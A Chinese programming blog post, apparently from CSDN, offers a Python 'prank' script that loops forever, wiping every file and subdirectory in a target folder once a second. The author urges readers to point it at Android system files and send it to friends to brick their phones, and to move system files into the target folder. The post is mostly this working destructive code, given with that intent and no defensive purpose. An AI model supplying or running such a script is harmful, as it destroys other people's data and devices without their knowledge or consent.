python编程之黑洞文件

之前我们学习了Python的爬虫及反爬技术,今天我们就来了一个恶作剧程序!

这里主要涉及到Python的os,time,shutil这几个库

作用:它可以重复删除指定目录内的所有文件,千万不要小瞧这个功能,如果你指定的目录是像手机安卓这样的系统文件的话,将这个程序发给你的好友,不知道多少应用要中招,他的手机就可以变砖块了!哈哈!

好的我们直接看源码!

import os
#导入OS 
import shutil
#导入shutli
import time
#导入time模块,用于时间延迟,不然电脑性能不够

def delete_contents(directory):
    # 确保目录存在
    if not os.path.exists(directory):
        print(f"The directory {directory} does not exist.")
        return
    
    # 遍历目录中的所有文件和子目录
    for filename in os.listdir(directory):
        file_path = os.path.join(directory, filename)
        try:
            # 如果是文件,直接删除
            if os.path.isfile(file_path) or os.path.islink(file_path):
                os.unlink(file_path)
            # 如果是目录,递归删除
            elif os.path.isdir(file_path):
                shutil.rmtree(file_path)
        except Exception as e:
            print(f'Failed to delete {file_path}. Reason: {e}')

def repeat_delete(directory, interval):
    while True:
        delete_contents(directory)
        print(f"Deleted contents of {directory}. Waiting for {interval} seconds...")
        time.sleep(interval)

# 使用函数重复删除指定目录下的所有内容,每5分钟执行一次
repeat_delete('这里输入你目录的路径', 1)  # 延迟一秒,当然可以缩短时间

运行试一试吧!手机内运行也可以!

可以将系统文件移动到你所指定的目录哟!哈哈!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值